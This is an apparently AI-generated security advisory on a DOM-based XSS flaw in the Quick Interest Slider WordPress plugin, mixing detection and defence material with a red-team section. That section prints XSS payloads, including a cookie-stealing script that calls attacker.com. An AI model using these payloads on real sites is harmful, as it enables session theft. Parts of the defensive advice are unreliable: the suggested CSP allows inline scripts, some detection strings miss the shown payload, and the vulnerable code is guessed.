CVE-2025-26738

Executive Summary

CVE-2025-26738 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Quick Interest Slider WordPress plugin, versions up to and including 3.1.5. This flaw allows an attacker to inject malicious scripts into a web page through improper neutralization of user input, which is then executed in the victim's browser within the context of the vulnerable WordPress site. The vulnerability is classified as a WordPress ecosystem issue and does not involve server-side components like Apache or Nginx.

The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial compromise of confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Graham) and apply patches as soon as they become available. The lack of a known patch increases supply chain risk for sites relying on this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user input during web page generation. In the Quick Interest Slider plugin, user-supplied data is processed by client-side JavaScript and injected into the DOM without proper sanitization. An attacker can craft a malicious URL or input that, when processed by the plugin's JavaScript, executes arbitrary HTML or JavaScript in the victim's browser.

Attack Flow:

1. Attacker identifies a WordPress site using Quick Interest Slider <= 3.1.5.
2. Attacker crafts a malicious link containing a payload (e.g., <script>alert('XSS')</script>) in a parameter processed by the plugin.
3. Victim clicks the link or visits a page with the malicious input.
4. The plugin's JavaScript reads the input and inserts it into the DOM without sanitization.
5. The payload executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically. The plugin likely uses innerHTML or document.write with unsanitized input.

Vulnerable Code (JavaScript):

var userInput = getParameterByName('interest');
document.getElementById('slider').innerHTML = userInput;

Patched Code (Expected):

var userInput = getParameterByName('interest');
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('slider').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Quick Interest Slider <= 3.1.5.
• Ability to craft a malicious URL.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., interest).
2. Craft a payload: <img src=x onerror=alert('XSS')>.
3. Construct URL: http://target.com/?interest=<img src=x onerror=alert('XSS')>.
4. Send the link to the victim via phishing or social engineering.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for suspicious query parameters containing <script>, <img onerror>, or other HTML/JavaScript constructs.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Disable or remove the Quick Interest Slider plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with query parameters containing <script>, <img onerror>, or javascript:.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host:
  • Unusual JavaScript execution in the browser console.
  • Unexpected DOM modifications (e.g., injected iframes or scripts).
• File:
  • Modified plugin files (e.g., quick-interest-slider/js/main.js) containing obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_26738_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in Quick Interest Slider plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26738"
    strings:
        $xss1 = /innerHTML\s*=\s*[^;]*getParameterByName/i
        $xss2 = /document\.write\s*\([^)]*getParameterByName/i
        $xss3 = /\.innerHTML\s*=\s*[^;]*location/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-26738 DOM-Based XSS in Quick Interest Slider
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Quick Interest Slider
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - '<img onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26738 DOM-Based XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-26738 DOM-Based XSS Attempt"; flow:to_server; content:"<img onerror"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-26738 DOM-Based XSS Attempt"; flow:to_server; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Add Content Security Policy (CSP) headers: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https:; style-src 'self' 'unsafe-inline'; img-src 'self' data:;.

Long-Term Fix:

• Monitor the vendor's website or WordPress plugin repository for an update.
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins in use.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant | CVE-2025-26738 | 2025-04-10